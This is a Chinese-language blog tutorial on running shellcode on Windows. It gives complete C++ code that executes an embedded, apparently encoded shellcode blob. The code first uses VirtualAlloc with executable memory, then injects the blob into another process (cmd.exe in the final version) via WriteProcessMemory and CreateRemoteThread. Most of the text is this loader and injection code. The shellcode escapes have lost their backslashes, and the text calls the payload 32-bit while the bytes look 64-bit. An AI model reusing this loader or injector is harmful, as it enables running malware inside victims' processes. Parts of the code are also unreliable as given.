unsigned char buf[] = "x48x31xc9x48x81xe9xc6xffxffxffx48x8dx05xefxff" "xffxffx48xbbxecx91x66x93xd5xdbx11xd7x48x31x58" "x27x48x2dxf8xffxffxffxe2xf4x10xd9xe5x77x25x33" "xd1xd7xecx91x27xc2x94x8bx43x86xbaxd9x57x41xb0" "x93x9ax85x8cxd9xedxc1xcdx93x9ax85xccxd9xedxe1" "x85x93x1ex60xa6xdbx2bxa2x1cx93x20x17x40xadx07" "xefxd7xf7x31x96x2dx58x6bxd2xd4x1axf3x3axbexd0" "x37xdbx5ex89x31x5cxaexadx2ex92x05x50x91x5fxec" "x91x66xdbx50x1bx65xb0xa4x90xb6xc3x5ex93x09x93" "x67xd1x46xdaxd4x0bxf2x81xa4x6exafxd2x5exefx99" "x9fxedx47x2bxa2x1cx93x20x17x40xd0xa7x5axd8x9a" "x10x16xd4x71x13x62x99xd8x5dxf3xe4xd4x5fx42xa0" "x03x49x93x67xd1x42xdaxd4x0bx77x96x67x9dx2exd7" "x5ex9bx0dx9exedx41x27x18xd1x53x59xd6x3cxd0x3e" "xd2x8dx85x48x8dxadxc9x27xcax94x81x59x54x00xb1" "x27xc1x2ax3bx49x96xb5xcbx2ex18xc7x32x46x28x13" "x6ex3bxdax6bxacx62xe5xb3xa2x54x93xd5x9ax47x9e" "x65x77x2ex12x39x7bx10xd7xecxd8xefx76x9cx67x13" "xd7xedx2axa6x3bxd4xb3x50x83xa5x18x82xdfx5cx2a" "x50x6dxa0xe6x40x94x2ax0ex5dx5ex06xf9x67x92xd5" "xdbx48x96x56xb8xe6xf8xd5x24xc4x87xbcxdcx57x5a" "x98xeaxd1x9fx13x51x2ex1ax17x93xeex17xa4x18xa7" "xd2x6fx31x1ex08x0cx6exb3xdbx5cx1cx7bxc7xadxc9" "x2ax1ax37x93x98x2exadx2bxffx36xa1xbaxeex02xa4" "x10xa2xd3xd7xdbx11x9ex54xf2x0bxf7xd5xdbx11xd7" "xecxd0x36xd2x85x93x98x35xbbxc6x31xdexe4x1bx7b" "xdaxb5xd0x36x71x29xbdxd6x93xc8xc5x67x92x9dx56" "x55xf3xf4x57x66xfbx9dx52xf7x81xbcxd0x36xd2x85" "x9ax41x9ex13x51x27xc3x9cx24xd9x9ax65x50x2ax1a" "x14x9axabxaex20xaexe0x6cx00x93x20x05xa4x6exac" "x18xdbx9axabxdfx6bx8cx06x6cx00x60xe1x62x4exc7" "x27x29x73x4exacx4ax13x44x2ex10x11xf3x2dxd1x90" "x9bxe6x68x35xaex14x6cxabx82x14xfcxbfxdbx48x96" "x65x4bx99x46xd5xdbx11xd7";
上面是一段shellcode 如果我们直接写入会不会执行呐?
// ConsoleApplication5.cpp : 定义控制台应用程序的入口点。 // #include "stdafx.h" unsigned char buf[] = "x48x31xc9x48x81xe9xc6xffxffxffx48x8dx05xefxff" "xffxffx48xbbxecx91x66x93xd5xdbx11xd7x48x31x58" "x27x48x2dxf8xffxffxffxe2xf4x10xd9xe5x77x25x33" "xd1xd7xecx91x27xc2x94x8bx43x86xbaxd9x57x41xb0" "x93x9ax85x8cxd9xedxc1xcdx93x9ax85xccxd9xedxe1" "x85x93x1ex60xa6xdbx2bxa2x1cx93x20x17x40xadx07" "xefxd7xf7x31x96x2dx58x6bxd2xd4x1axf3x3axbexd0" "x37xdbx5ex89x31x5cxaexadx2ex92x05x50x91x5fxec" "x91x66xdbx50x1bx65xb0xa4x90xb6xc3x5ex93x09x93" "x67xd1x46xdaxd4x0bxf2x81xa4x6exafxd2x5exefx99" "x9fxedx47x2bxa2x1cx93x20x17x40xd0xa7x5axd8x9a" "x10x16xd4x71x13x62x99xd8x5dxf3xe4xd4x5fx42xa0" "x03x49x93x67xd1x42xdaxd4x0bx77x96x67x9dx2exd7" "x5ex9bx0dx9exedx41x27x18xd1x53x59xd6x3cxd0x3e" "xd2x8dx85x48x8dxadxc9x27xcax94x81x59x54x00xb1" "x27xc1x2ax3bx49x96xb5xcbx2ex18xc7x32x46x28x13" "x6ex3bxdax6bxacx62xe5xb3xa2x54x93xd5x9ax47x9e" "x65x77x2ex12x39x7bx10xd7xecxd8xefx76x9cx67x13" "xd7xedx2axa6x3bxd4xb3x50x83xa5x18x82xdfx5cx2a" "x50x6dxa0xe6x40x94x2ax0ex5dx5ex06xf9x67x92xd5" "xdbx48x96x56xb8xe6xf8xd5x24xc4x87xbcxdcx57x5a" "x98xeaxd1x9fx13x51x2ex1ax17x93xeex17xa4x18xa7" "xd2x6fx31x1ex08x0cx6exb3xdbx5cx1cx7bxc7xadxc9" "x2ax1ax37x93x98x2exadx2bxffx36xa1xbaxeex02xa4" "x10xa2xd3xd7xdbx11x9ex54xf2x0bxf7xd5xdbx11xd7" "xecxd0x36xd2x85x93x98x35xbbxc6x31xdexe4x1bx7b" "xdaxb5xd0x36x71x29xbdxd6x93xc8xc5x67x92x9dx56" "x55xf3xf4x57x66xfbx9dx52xf7x81xbcxd0x36xd2x85" "x9ax41x9ex13x51x27xc3x9cx24xd9x9ax65x50x2ax1a" "x14x9axabxaex20xaexe0x6cx00x93x20x05xa4x6exac" "x18xdbx9axabxdfx6bx8cx06x6cx00x60xe1x62x4exc7" "x27x29x73x4exacx4ax13x44x2ex10x11xf3x2dxd1x90" "x9bxe6x68x35xaex14x6cxabx82x14xfcxbfxdbx48x96" "x65x4bx99x46xd5xdbx11xd7"; typedef void(*PFN_FOO)(); int main() { PFN_FOO f = (PFN_FOO)(void *)buf; f(); }
我们可以看见内存区域可读可写不可以执行,因为shellcode在程序的全局区,没有可执行权限,代码所在内存必须可读可执行,但是重新编译不行,因为重新编译了就变了,所以还可以在当前程序申请一块可写可读可执行的代码区
VirtualAlloc
LPVOID VirtualAlloc( LPVOID lpAddress, // region to reserve or commit SIZE_T dwSize, // size of region DWORD flAllocationType, // type of allocation DWORD flProtect // type of access protection);
这里来申请一块
LPVOID lpAddr = VirtualAlloc( NULL, //表示任意地址,随机分配 1, //内存通常是以分页为单位来给空间 1页=4k 4096字节 MEM_COMMIT, //告诉操作系统给分配一块内存 PAGE_EXECUTE_READWRITE ); if (lpAddr == NULL){ printf("Alloc error!"); return 0; }
可以看到内存已经申请好了,接下来就把我们的数据拷贝过来,再执行,最后还要释放掉
memcpy(lpAddr, data, sizeof(data)); typedef void(*PFN_FOO)(); PFN_FOO f = (PFN_FOO)(void*)lpAddr; f(); VirtualFree(lpAddr,1,MEM_DECOMMIT);
完整代码
// ConsoleApplication5.cpp : 定义控制台应用程序的入口点。 // #include "stdafx.h" #include "Windows.h" #include "iostream" unsigned char buf[] = "x48x31xc9x48x81xe9xc6xffxffxffx48x8dx05xefxff" "xffxffx48xbbxecx91x66x93xd5xdbx11xd7x48x31x58" "x27x48x2dxf8xffxffxffxe2xf4x10xd9xe5x77x25x33" "xd1xd7xecx91x27xc2x94x8bx43x86xbaxd9x57x41xb0" "x93x9ax85x8cxd9xedxc1xcdx93x9ax85xccxd9xedxe1" "x85x93x1ex60xa6xdbx2bxa2x1cx93x20x17x40xadx07" "xefxd7xf7x31x96x2dx58x6bxd2xd4x1axf3x3axbexd0" "x37xdbx5ex89x31x5cxaexadx2ex92x05x50x91x5fxec" "x91x66xdbx50x1bx65xb0xa4x90xb6xc3x5ex93x09x93" "x67xd1x46xdaxd4x0bxf2x81xa4x6exafxd2x5exefx99" "x9fxedx47x2bxa2x1cx93x20x17x40xd0xa7x5axd8x9a" "x10x16xd4x71x13x62x99xd8x5dxf3xe4xd4x5fx42xa0" "x03x49x93x67xd1x42xdaxd4x0bx77x96x67x9dx2exd7" "x5ex9bx0dx9exedx41x27x18xd1x53x59xd6x3cxd0x3e" "xd2x8dx85x48x8dxadxc9x27xcax94x81x59x54x00xb1" "x27xc1x2ax3bx49x96xb5xcbx2ex18xc7x32x46x28x13" "x6ex3bxdax6bxacx62xe5xb3xa2x54x93xd5x9ax47x9e" "x65x77x2ex12x39x7bx10xd7xecxd8xefx76x9cx67x13" "xd7xedx2axa6x3bxd4xb3x50x83xa5x18x82xdfx5cx2a" "x50x6dxa0xe6x40x94x2ax0ex5dx5ex06xf9x67x92xd5" "xdbx48x96x56xb8xe6xf8xd5x24xc4x87xbcxdcx57x5a" "x98xeaxd1x9fx13x51x2ex1ax17x93xeex17xa4x18xa7" "xd2x6fx31x1ex08x0cx6exb3xdbx5cx1cx7bxc7xadxc9" "x2ax1ax37x93x98x2exadx2bxffx36xa1xbaxeex02xa4" "x10xa2xd3xd7xdbx11x9ex54xf2x0bxf7xd5xdbx11xd7" "xecxd0x36xd2x85x93x98x35xbbxc6x31xdexe4x1bx7b" "xdaxb5xd0x36x71x29xbdxd6x93xc8xc5x67x92x9dx56" "x55xf3xf4x57x66xfbx9dx52xf7x81xbcxd0x36xd2x85" "x9ax41x9ex13x51x27xc3x9cx24xd9x9ax65x50x2ax1a" "x14x9axabxaex20xaexe0x6cx00x93x20x05xa4x6exac" "x18xdbx9axabxdfx6bx8cx06x6cx00x60xe1x62x4exc7" "x27x29x73x4exacx4ax13x44x2ex10x11xf3x2dxd1x90" "x9bxe6x68x35xaex14x6cxabx82x14xfcxbfxdbx48x96" "x65x4bx99x46xd5xdbx11xd7"; typedef void(*PFN_FOO)(); int main() { LPVOID lpAddr = VirtualAlloc( NULL, //表示任意地址,随机分配 1, //内存通常是以分页为单位来给空间 1页=4k 4096字节 MEM_COMMIT, //告诉操作系统给分配一块内存 PAGE_EXECUTE_READWRITE ); if (lpAddr == NULL){ printf("Alloc error!"); return 0; } //到这里表示能够成功分配内存 memcpy(lpAddr, buf, sizeof(buf)); typedef void(*PFN_FOO)(); PFN_FOO f = (PFN_FOO)(void*)lpAddr; f(); VirtualFree(lpAddr,1,MEM_DECOMMIT); return 0; }
VirtualAllocEx指定进程开辟内存空间
LPVOID VirtualAllocEx( HANDLE hProcess, // process to allocate memory LPVOID lpAddress, // desired starting address SIZE_T dwSize, // size of region to allocate DWORD flAllocationType, // type of allocation DWORD flProtect // type of access protection);
代码差不多,但是这里我们要先获取我们要注入的进程句柄,这里shellcode为32位所以我们需要获取的也是32位的
//获取快照 HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); PROCESSENTRY32 pe32; DWORD pid = 0; pe32.dwSize = sizeof(PROCESSENTRY32); //查看第一个进程 BOOL bRet = Process32First(hSnap, &pe32); while (bRet) { bRet = Process32Next(hSnap, &pe32); if (wcscmp(pe32.szExeFile, L"procexp.exe") == 0){ pid = pe32.th32ProcessID; break; } } //获取进程句柄 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
在目标进程开辟空间
//1.在目标进程开辟空间 LPVOID lpAddr = VirtualAllocEx( hProcess, //在目标进程中开辟空间 NULL, //表示任意地址,随机分配 1, //内存通常是以分页为单位来给空间 1页=4k 4096字节 MEM_COMMIT, //告诉操作系统给分配一块内存 PAGE_EXECUTE_READWRITE ); if (lpAddr == NULL){ printf("Alloc error!"); return 0; }
然后我们就是要写入,这里就不能使用memcpy了因为这个是当前进程调用的
WriteProcessMemory
BOOL WriteProcessMemory( HANDLE hProcess, // handle to process LPVOID lpBaseAddress, // base of memory area LPCVOID lpBuffer, // data buffer SIZE_T nSize, // count of bytes to write SIZE_T * lpNumberOfBytesWritten // count of bytes written);
这里写入我们的shellcode
//2.在目标进程中写入代码 bRet = WriteProcessMemory( hProcess, //目标进程 lpAddr, //目标地址 目标进程中 data, //源数据 当前进程中 sizeof(data), //写多大 &dwWritesBytes //成功写入的字节数 ); if (!bRet){ VirtualFreeEx(hProcess, lpAddr, 1, MEM_DECOMMIT); return 0; }
写进去了还要调用才能执行,创建远程线程
CreateRemoteThread
HANDLE CreateRemoteThread( HANDLE hProcess, // handle to process LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD SIZE_T dwStackSize, // initial stack size LPTHREAD_START_ROUTINE lpStartAddress, // thread function LPVOID lpParameter, // thread argument DWORD dwCreationFlags, // creation option LPDWORD lpThreadId // thread identifier);
返回目标进程的线程
//3.向目标程序调用一个线程 创建远程线程 执行写入代码 HANDLE hRemoteThread = CreateRemoteThread(hProcess, //目标进程 NULL, 0, (LPTHREAD_START_ROUTINE)lpAddr, //目标进程的回调函数 NULL, //回调参数 0, NULL );
这里我们不要立马释放因为可能执行需要一段时间,所以要等待执行完毕再释放
完成代码为
// shellcode.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include <Windows.h>
#include <TlHelp32.h>
/* length: 799 bytes */
unsigned char buf[] =
"x48x31xc9x48x81xe9xc6xffxffxffx48x8dx05xefxff"
"xffxffx48xbbxecx91x66x93xd5xdbx11xd7x48x31x58"
"x27x48x2dxf8xffxffxffxe2xf4x10xd9xe5x77x25x33"
"xd1xd7xecx91x27xc2x94x8bx43x86xbaxd9x57x41xb0"
"x93x9ax85x8cxd9xedxc1xcdx93x9ax85xccxd9xedxe1"
"x85x93x1ex60xa6xdbx2bxa2x1cx93x20x17x40xadx07"
"xefxd7xf7x31x96x2dx58x6bxd2xd4x1axf3x3axbexd0"
"x37xdbx5ex89x31x5cxaexadx2ex92x05x50x91x5fxec"
"x91x66xdbx50x1bx65xb0xa4x90xb6xc3x5ex93x09x93"
"x67xd1x46xdaxd4x0bxf2x81xa4x6exafxd2x5exefx99"
"x9fxedx47x2bxa2x1cx93x20x17x40xd0xa7x5axd8x9a"
"x10x16xd4x71x13x62x99xd8x5dxf3xe4xd4x5fx42xa0"
"x03x49x93x67xd1x42xdaxd4x0bx77x96x67x9dx2exd7"
"x5ex9bx0dx9exedx41x27x18xd1x53x59xd6x3cxd0x3e"
"xd2x8dx85x48x8dxadxc9x27xcax94x81x59x54x00xb1"
"x27xc1x2ax3bx49x96xb5xcbx2ex18xc7x32x46x28x13"
"x6ex3bxdax6bxacx62xe5xb3xa2x54x93xd5x9ax47x9e"
"x65x77x2ex12x39x7bx10xd7xecxd8xefx76x9cx67x13"
"xd7xedx2axa6x3bxd4xb3x50x83xa5x18x82xdfx5cx2a"
"x50x6dxa0xe6x40x94x2ax0ex5dx5ex06xf9x67x92xd5"
"xdbx48x96x56xb8xe6xf8xd5x24xc4x87xbcxdcx57x5a"
"x98xeaxd1x9fx13x51x2ex1ax17x93xeex17xa4x18xa7"
"xd2x6fx31x1ex08x0cx6exb3xdbx5cx1cx7bxc7xadxc9"
"x2ax1ax37x93x98x2exadx2bxffx36xa1xbaxeex02xa4"
"x10xa2xd3xd7xdbx11x9ex54xf2x0bxf7xd5xdbx11xd7"
"xecxd0x36xd2x85x93x98x35xbbxc6x31xdexe4x1bx7b"
"xdaxb5xd0x36x71x29xbdxd6x93xc8xc5x67x92x9dx56"
"x55xf3xf4x57x66xfbx9dx52xf7x81xbcxd0x36xd2x85"
"x9ax41x9ex13x51x27xc3x9cx24xd9x9ax65x50x2ax1a"
"x14x9axabxaex20xaexe0x6cx00x93x20x05xa4x6exac"
"x18xdbx9axabxdfx6bx8cx06x6cx00x60xe1x62x4exc7"
"x27x29x73x4exacx4ax13x44x2ex10x11xf3x2dxd1x90"
"x9bxe6x68x35xaex14x6cxabx82x14xfcxbfxdbx48x96"
"x65x4bx99x46xd5xdbx11xd7";
typedef void(*PFN_FOO)();
int main()
{
//获取快照
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe32;
DWORD pid = 0;
pe32.dwSize = sizeof(PROCESSENTRY32);
//查看第一个进程
BOOL bRet = Process32First(hSnap, &pe32);
while (bRet)
{
bRet = Process32Next(hSnap, &pe32);
if (wcscmp(pe32.szExeFile, L"cmd.exe") == 0){
pid = pe32.th32ProcessID;
break;
}
}
//获取进程句柄
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
//1.在目标进程开辟空间
LPVOID lpAddr = VirtualAllocEx(
hProcess, //在目标进程中开辟空间
NULL, //表示任意地址,随机分配
1, //内存通常是以分页为单位来给空间 1页=4k 4096字节
MEM_COMMIT, //告诉操作系统给分配一块内存
PAGE_EXECUTE_READWRITE
);
if (lpAddr == NULL){
printf("Alloc error!");
return 0;
}
SIZE_T dwWritesBytes = 0;
//2.在目标进程中写入代码
bRet = WriteProcessMemory(
hProcess, //目标进程
lpAddr, //目标地址 目标进程中
buf, //源数据 当前进程中
sizeof(buf), //写多大
&dwWritesBytes //成功写入的字节数
);
if (!bRet){
VirtualFreeEx(hProcess, lpAddr, 1, MEM_DECOMMIT);
return 0;
}
//3.向目标程序调用一个线程 创建远程线程 执行写入代码
HANDLE hRemoteThread = CreateRemoteThread(hProcess, //目标进程
NULL,
0,
(LPTHREAD_START_ROUTINE)lpAddr, //目标进程的回调函数
NULL, //回调参数
0,
NULL
);
return 0;
}
RE
https://www.cnblogs.com/yicunyiye/p/13696373.html